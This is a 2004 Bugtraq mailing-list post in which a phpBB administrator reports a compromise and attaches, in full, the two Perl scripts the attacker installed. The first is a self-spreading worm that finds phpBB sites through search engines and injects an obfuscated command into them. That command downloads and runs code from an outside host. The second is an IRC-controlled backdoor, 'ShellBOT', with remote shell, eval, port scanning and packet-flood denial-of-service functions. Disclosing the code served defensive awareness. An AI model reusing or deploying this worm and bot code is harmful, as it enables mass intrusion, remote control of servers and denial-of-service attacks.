[37982] in bugtraq
new phpBB worm affects 2.0.11
daemon@ATHENA.MIT.EDU (Herman Sheremetyev)
Sat Dec 25 14:20:40 2004
Message-ID: <41CC92E6.5090009@swebpage.com>
Date: Fri, 24 Dec 2004 17:06:30 -0500
From: Herman Sheremetyev <herman@swebpage.com>
MIME-Version: 1.0
To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com
In-Reply-To: <Pine.LNX.4.61.0412241909320.23893@mailbox.prolocation.net>
Content-Type: multipart/mixed;
boundary="------------010908030503030606040208"
This is a multi-part message in MIME format.
--------------010908030503030606040208
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
My patched phpBB 2.0.11 running on FreeBSD 4.10 was exploited by a new
variation of the worm this morning. I'm attaching the 2 perl scripts it
installs, one is an irc bot the other the worm itself.
-Herman
--------------010908030503030606040208
Content-Type: text/plain;
name="worm.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
filename="worm.txt"
#/usr/bin/perl
use IO::Socket;
use LWP::Simple;
my $processo =3D "/usr/bin/httpd -DSSL";
$0=3D"$processo"."\0"x16;;
my $pid=3Dfork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
while(1){
@vul =3D "";
$a=3D0;
$numero =3D int rand(999);
$site =3D "www.google.com";
$procura =3D "inurl:viewtopic.php?t=3D$numero";
######################################
for($n=3D0;$n<90;$n +=3D 10){
$sock =3D IO::Socket::INET->new(PeerAddr=3D>"$site",PeerPort=3D>"80",Prot=
o=3D>"tcp") or next;
print $sock "GET /search?q=3D$procura&start=3D$n HTTP/1.0\n\n";
@resu =3D <$sock>;
close($sock);
$ae =3D "@resu";
while ($ae=3D~ m/<a href=3D.*?>.*?<\/a>/){
$ae=3D~ s/<a href=3D(.*?)>.*?<\/a>/$1/;
$uber=3D$1;
if ($uber !~/translate/)
{if ($uber !~ /cache/)
{if ($uber !~ /"/)
{if ($uber !~ /google/)
{if ($uber !~ /216/)
{if ($uber =3D~/http/)
{if ($uber !~ /start=3D/)
{
if ($uber =3D~/&/)
{
$nu =3D index $uber, '&';
$uber =3D substr($uber,0,$nu);
}
$vul[$a] =3D $uber;
$a++;
}}}}}}}}}
##########################
for($cadenu=3D1;$cadenu <=3D 99; $cadenu +=3D10){
@cade =3D get("http://cade.search.yahoo.com/search?p=3D$procura&ei=3DUTF-=
8&fl=3D0&all=3D1&pstart=3D1&b=3D$cadenu") or next;
$ae =3D "@cade";
while ($ae=3D~ m/<em class=3Dyschurl>.*?<\/em>/){
$ae=3D~ s/<em class=3Dyschurl>(.*?)<\/em>/$1/;
$uber=3D$1;
=20
$uber =3D~ s/ //g;
$uber =3D~ s/<b>//g;
$uber =3D~ s/<\/b>//g;
$uber =3D~ s/<wbr>//g;
if ($uber =3D~/&/)
{
$nu =3D index $uber, '&';
$uber =3D substr($uber,0,$nu);
}
$vul[$a] =3D $uber;
$a++
}}
#########################
$cmd =3D '&highlight=3D%2527%252esystem(chr(99)%252echr(100)%252echr(32)%=
252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(11=
9)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252ech=
r(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%252echr(110)%25=
2echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115=
)%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252echr(99)%252echr(=
111)%252echr(109)%252echr(47)%252echr(98)%252echr(111)%252echr(116)%252ec=
hr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%25=
2echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(98)%252echr(111)=
%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(=
59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252ec=
hr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%2=
52echr(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(11=
7)%252echr(115)%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252ech=
r'.'(99)%252echr(111)%252echr(109)%252echr(47)%252echr(119)%252echr(111)%=
252echr(114)%252echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(1=
16)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252ec=
hr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(46)%25=
2echr(116)%252echr(120)%252echr(116))%252e%2527';
$b =3D scalar(@vul);
for($a=3D0;$a<=3D$b;$a++)
{
$sitevul =3D $vul[$a] . $cmd;
if($sitevul !~/http/){ $sitevul =3D 'http://' . $sitevul; }
$res =3D get($sitevul) or next;
}
}
--------------010908030503030606040208
Content-Type: text/plain;
name="bot"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
filename="bot"
#!/usr/bin/perl
#
# ShellBOT - Atrix Team
#
# 0ldW0lf - oldwolf@atrix-team.org
# - www.atrix-team.org
# - www.atrix.cjb.net
#
#
################ CONFIGURACAO ###########################################=
######################
my $processo =3D '/usr/local/apache/bin/httpd -DSSL'; # No=
me do processo que vai aparece no ps #
#----------------------------------------------##########################=
######################
my $linas_max=3D'8'; # Evita o flood :) depoi=
s de X linhas #
#----------------------------------------------##########################=
######################
my $sleep=3D'4'; # ele dorme X segundos =
#
##################### IRC ###############################################=
######################
my @adms=3D("ssh"); # Nick do administrador =
#
#----------------------------------------------##########################=
######################
my @canais=3D("#ssh echo"); # Caso haja senha ("#=
canal :senha") #
#----------------------------------------------##########################=
######################
my $nick=3D'sshd'; # Nick do bot. Caso esteja em u=
so vai aparecer #
# aparecer com numero rado=
namico no final #
#----------------------------------------------##########################=
######################
my $ircname =3D 'ssh'; # User ID =
#
#----------------------------------------------##########################=
######################
chop (my $realname =3D `uname -a`); # Full Name =
#
#----------------------------------------------##########################=
######################
$servidor=3D'ssh.gigachat.net' unless $servidor; # Servidor de irc que v=
ai ser usado #
# caso n=E3o seja especifi=
cado no argumento #
#----------------------------------------------##########################=
######################
my $porta=3D'6667'; # Porta do servidor de irc =
#
################ ACESSO A SHELL #########################################=
######################
my $secv =3D 1; # 1/0 pra habilita/desabil=
ita acesso a shell #
#########################################################################=
######################
my $VERSAO =3D '0.2';
$SIG{'INT'} =3D 'IGNORE';
$SIG{'HUP'} =3D 'IGNORE';
$SIG{'TERM'} =3D 'IGNORE';
$SIG{'CHLD'} =3D 'IGNORE';
$SIG{'PS'} =3D 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor=3D"$ARGV[0]" if $ARGV[0];
$0=3D"$processo"."\0"x16;;
my $pid=3Dfork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
my $dcc_sel =3D new IO::Select->new();
#############################
# B0tchZ na veia ehehe :P #
#############################
$sel_cliente =3D IO::Select->new();
sub sendraw {
if ($#_ =3D=3D '1') {
my $socket =3D $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick =3D $_[0];
my $servidor_con =3D $_[1];
my $porta_con =3D $_[2];
my $IRC_socket =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>"=
$servidor_con", PeerPort=3D>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket =3D $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} =3D "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} =3D "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} =3D $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$rea=
lname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta=
"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
&DCC::connections;
my @ready =3D $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket =3D $fh;
$meunick =3D $irc_servers{$IRC_cur_socket}{'nick'};
$nread =3D sysread($fh, $msg, 4096);
if ($nread =3D=3D 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines =3D split (/\n/, $msg);
for(my $c=3D0; $c<=3D $#lines; $c++) {
$line =3D $lines[$c];
$line=3D$line_temp.$line if ($line_temp);
$line_temp=3D'';
$line =3D~ s/\r$//;
unless ($c =3D=3D $#lines) {
parse("$line");
} else {
if ($#lines =3D=3D 0) {
parse("$line");
} elsif ($lines[$c] =3D~ /\r$/) {
parse("$line");
} elsif ($line =3D~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp =3D $line;
}
}
}
}
}
=20
sub parse {
my $servarg =3D shift;
if ($servarg =3D~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =3D~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) =
{
my $pn=3D$1; my $onde =3D $4; my $args =3D $5;
if ($args =3D~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf\001");
}
if (grep {$_ =3D~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =3D~ /^(\Q$meunick\E|\!atrix)\s+(.*)/ ) {
my $natrix =3D $1;
my $arg =3D $2;
if ($arg =3D~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!atrix" and =
$arg =3D~ /^\!nick/);
} elsif ($arg =3D~ /^\@(.*)/) {
$ondep =3D $onde;
$ondep =3D $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}=20
}
} elsif ($servarg =3D~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=3D$4;=20
$irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
}
} elsif ($servarg =3D~ m/^\:(.+?)\s+433/i) {
nick("$meunick".int rand(9999));
} elsif ($servarg =3D~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick =3D $2;
$irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} =3D "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal");
}
}
}
sub bfunc {
my $printl =3D $_[0];
my $funcarg =3D $_[1];
if (my $pid =3D fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =3D~ /^portscan (.*)/) {
my $hostip=3D"$1";
my @portas=3D("21","22","23","25","53","80","110","143");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock =3D IO::Socket::INET->new(PeerAddr =3D> $hos=
tip, PeerPort =3D> $porta, Proto =3D> 'tcp', Timeout =3D> 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas:=
@aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta =
aberta foi encontrada");=20
}
}
if ($funcarg =3D~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my ($dtime, %pacotes) =3D attacker("$1", "$2", "$3");
$dtime =3D 1 if $dtime =3D=3D 0;
my %bytes;
$bytes{igmp} =3D $2 * $pacotes{igmp};
$bytes{icmp} =3D $2 * $pacotes{icmp};
$bytes{o} =3D $2 * $pacotes{o};
$bytes{udp} =3D $2 * $pacotes{udp};
$bytes{tcp} =3D $2 * $pacotes{tcp};
=20
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GER=
AL -\002");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $d=
time"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes=
\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}))=
;
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\0=
02: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M=E9dia de en=
vio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)=
/$dtime)." kbps");
}
exit;
}
}
}
=20
sub ircase {
my ($kem, $printl, $case) =3D @_;
if ($case =3D~ /^join (.*)/) {
j("$1");
}=20
if ($case =3D~ /^part (.*)/) {
p("$1");
}
if ($case =3D~ /^rejoin\s+(.*)/) {
my $chan =3D $1;
if ($chan =3D~ /^(\d+) (.*)/) {
for (my $ca =3D 1; $ca <=3D $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =3D~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg =3D substr($case, 3);
op("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
}
if ($case =3D~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg =3D substr($case, 5);
deop("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
}
if ($case =3D~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg =3D substr($case, 6);
voice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
}
if ($case =3D~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg =3D substr($case, 8);
devoice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
}
if ($case =3D~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =3D~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf =3D 1; $cf <=3D $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =3D~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =3D~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf =3D 1; $cf <=3D $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =3D~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
if ($case =3D~ /^nick (.*)/) {
nick("$1");
}
if ($case =3D~ /^conecta\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =3D~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND("$1", "$2");
}
if ($case =3D~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =3D~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
return unless $secv;
my $printl=3D$_[0];
my $comando=3D$_[1];
if ($comando =3D~ /cd (.*)/) {
chdir("$1") || msg("$printl", "Diert=F3rio inexistente!");
return;
}=20
elsif ($pid =3D fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=3D`$comando 2>&1 3>&1`;
my $c=3D0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c =3D=3D "$linas_max") {
$c=3D0;
sleep $sleep;
}
}
exit;
}
}
}
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
my $iaddr =3D inet_aton($_[0]);
my $msg =3D 'B' x $_[1];
my $ftime =3D $_[2];
my $cp =3D 0;
my (%pacotes);
$pacotes{icmp} =3D $pacotes{igmp} =3D $pacotes{udp} =3D $pacotes{o} =3D=
$pacotes{tcp} =3D 0;
=20
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp =3D=3D 4;
my $itime =3D time;
my ($cur_time);
while ( 1 ) {
for (my $porta =3D 1; $porta <=3D 65535; $porta++) {
$cur_time =3D time - $itime;
last if $cur_time >=3D $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igm=
p}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp=
}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icm=
p}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp=
}++;
# DoS ?? :P
for (my $pc =3D 3; $pc <=3D 255;$pc++) {
next if $pc =3D=3D 6;
$cur_time =3D time - $itime;
last if $cur_time >=3D $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o=
}++;;
}
}
last if $cur_time >=3D $ftime;
}
return($cur_time, %pacotes);
}
#############
# ALIASES #
#############
sub action {
return unless $#_ =3D=3D 1;
sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}
sub ctcp {
return unless $#_ =3D=3D 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ =3D=3D 1;
sendraw("PRIVMSG $_[0] :$_[1]");
} =20
sub notice {
return unless $#_ =3D=3D 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
return unless $#_ =3D=3D 1;
sendraw("KICK $_[0] $_[1] :$_[2]");
}
sub modo {
return unless $#_ =3D=3D 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
return unless $#_ =3D=3D 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
return unless $#_ =3D=3D 0;
sendraw("NICK $_[0]");
}
sub invite {
return unless $#_ =3D=3D 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ =3D=3D 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub whois {
return unless $#_ =3D=3D 0;
sendraw("WHOIS $_[0]");
}
sub who {
return unless $#_ =3D=3D 0;
sendraw("WHO $_[0]");
}
sub names {
return unless $#_ =3D=3D 0;
sendraw("NAMES $_[0]");
}
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
sendraw("QUIT :$_[0]");
}
# DCC
package DCC;
sub connections {
my @ready =3D $dcc_sel->can_read(1);
# return unless (@ready);
foreach my $fh (@ready) {
my $dcctipo =3D $DCC{$fh}{tipo};
my $arquivo =3D $DCC{$fh}{arquivo};
my $bytes =3D $DCC{$fh}{bytes};
my $cur_byte =3D $DCC{$fh}{curbyte};
my $nick =3D $DCC{$fh}{nick};
my $msg;
my $nread =3D sysread($fh, $msg, 10240);
if ($nread =3D=3D 0 and $dcctipo =3D~ /^(get|sendcon)$/) {
$DCC{$fh}{status} =3D "Cancelado";
$DCC{$fh}{ftime} =3D time;
$dcc_sel->remove($fh);
$fh->close;
next;
}
if ($dcctipo eq "get") {
$DCC{$fh}{curbyte} +=3D length($msg);
my $cur_byte =3D $DCC{$fh}{curbyte};
open(FILE, ">> $arquivo");
print FILE "$msg" if ($cur_byte <=3D $bytes);
close(FILE);
my $packbyte =3D pack("N", $cur_byte);
print $fh "$packbyte";
if ($bytes =3D=3D $cur_byte) {
$dcc_sel->remove($fh);
$fh->close;
$DCC{$fh}{status} =3D "Recebido";
$DCC{$fh}{ftime} =3D time;
next;
}
} elsif ($dcctipo eq "send") {
my $send =3D $fh->accept;
$send->autoflush(1);
$dcc_sel->add($send);
$dcc_sel->remove($fh);
$DCC{$send}{tipo} =3D 'sendcon';
$DCC{$send}{itime} =3D time;
$DCC{$send}{nick} =3D $nick;
$DCC{$send}{bytes} =3D $bytes;
$DCC{$send}{curbyte} =3D 0;
$DCC{$send}{arquivo} =3D $arquivo;
$DCC{$send}{ip} =3D $send->peerhost;
$DCC{$send}{porta} =3D $send->peerport;
$DCC{$send}{status} =3D "Enviando";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik c=
om o sendcon
open(FILE, "< $arquivo");
my $fbytes;
read(FILE, $fbytes, 1024);
print $send "$fbytes";
close FILE;
# delete($DCC{$fh});
} elsif ($dcctipo eq 'sendcon') {
my $bytes_sended =3D unpack("N", $msg);
$DCC{$fh}{curbyte} =3D $bytes_sended;
if ($bytes_sended =3D=3D $bytes) {
$fh->close;
$dcc_sel->remove($fh);
$DCC{$fh}{status} =3D "Enviado";
$DCC{$fh}{ftime} =3D time;
next;
}
open(SENDFILE, "< $arquivo");
seek(SENDFILE, $bytes_sended, 0);
my $send_bytes;
read(SENDFILE, $send_bytes, 1024);
print $fh "$send_bytes";
close(SENDFILE);
}
}
}
sub SEND {
my ($nick, $arquivo) =3D @_;
unless (-r "$arquivo") {
return(0);
}
=20
my $dccark =3D $arquivo;
$dccark =3D~ s/[.*\/](\S+)/$1/;
my $meuip =3D $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
my $longip =3D unpack("N",inet_aton($meuip));
my @filestat =3D stat($arquivo);
my $size_total=3D$filestat[7];
if ($size_total =3D=3D 0) {
return(0);
}
my ($porta, $sendsock);
do {
$porta =3D int rand(64511);
$porta +=3D 1024;
$sendsock =3D IO::Socket::INET->new(Listen=3D>1, LocalPort =3D>$porta=
, Proto =3D> 'tcp') and $dcc_sel->add($sendsock);
} until $sendsock;
$DCC{$sendsock}{tipo} =3D 'send';
$DCC{$sendsock}{nick} =3D $nick;
$DCC{$sendsock}{bytes} =3D $size_total;
$DCC{$sendsock}{arquivo} =3D $arquivo;
&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET {
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) =3D @_;
return(0) if (-e "$arquivo");
if (open(FILE, "> $arquivo")) {
close FILE;
} else {=20
return(0);=20
}
my $dccip=3Dfixaddr($dcclongip);
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
my $dccsock =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>$dcci=
p, PeerPort=3D>$dccporta, Timeout=3D>15) or return (0);
$dccsock->autoflush(1);
$dcc_sel->add($dccsock);
$DCC{$dccsock}{tipo} =3D 'get';
$DCC{$dccsock}{itime} =3D time;
$DCC{$dccsock}{nick} =3D $nick;
$DCC{$dccsock}{bytes} =3D $bytes;
$DCC{$dccsock}{curbyte} =3D 0;
$DCC{$dccsock}{arquivo} =3D $arquivo;
$DCC{$dccsock}{ip} =3D $dccip;
$DCC{$dccsock}{porta} =3D $dccporta;
$DCC{$dccsock}{status} =3D "Recebendo";
}
# po fico xato de organiza o status.. dai fiz ele retorna o status de aco=
rdo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my $socket =3D shift;
my $sock_tipo =3D $DCC{$socket}{tipo};
unless (lc($sock_tipo) eq "chat") {
my $nick =3D $DCC{$socket}{nick};
my $arquivo =3D $DCC{$socket}{arquivo};
my $itime =3D $DCC{$socket}{itime};
my $ftime =3D time;
my $status =3D $DCC{$socket}{status};
$ftime =3D $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
my $d_time =3D $ftime-$itime;
my $cur_byte =3D $DCC{$socket}{curbyte};
my $bytes_total =3D $DCC{$socket}{bytes};
my $rate =3D 0;
$rate =3D ($cur_byte/1024)/$d_time if $cur_byte > 0;
my $porcen =3D ($cur_byte*100)/$bytes_total;
my ($r_duv, $p_duv);
if ($rate =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
$r_duv =3D $3; $r_duv++ if $4 >=3D 5;
$rate =3D "$1\.$2"."$r_duv";
}
if ($porcen =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
$p_duv =3D $3; $p_duv++ if $4 >=3D 5;
$porcen =3D "$1\.$2"."$p_duv";
}
return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cu=
r_byte","$d_time", "$rate", "$porcen");
}
return(0);
}
# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e=
coloei (colokar nome do autor)
sub fixaddr {
my ($address) =3D @_;
chomp $address; # just in case, sigh.
if ($address =3D~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =3D~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[1=
2]?\d{1,2}$/) {
return $address;
} elsif ($address =3D~ tr/a-zA-Z//) { # Whee! Obfu=
scation!
return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}=20
--------------010908030503030606040208--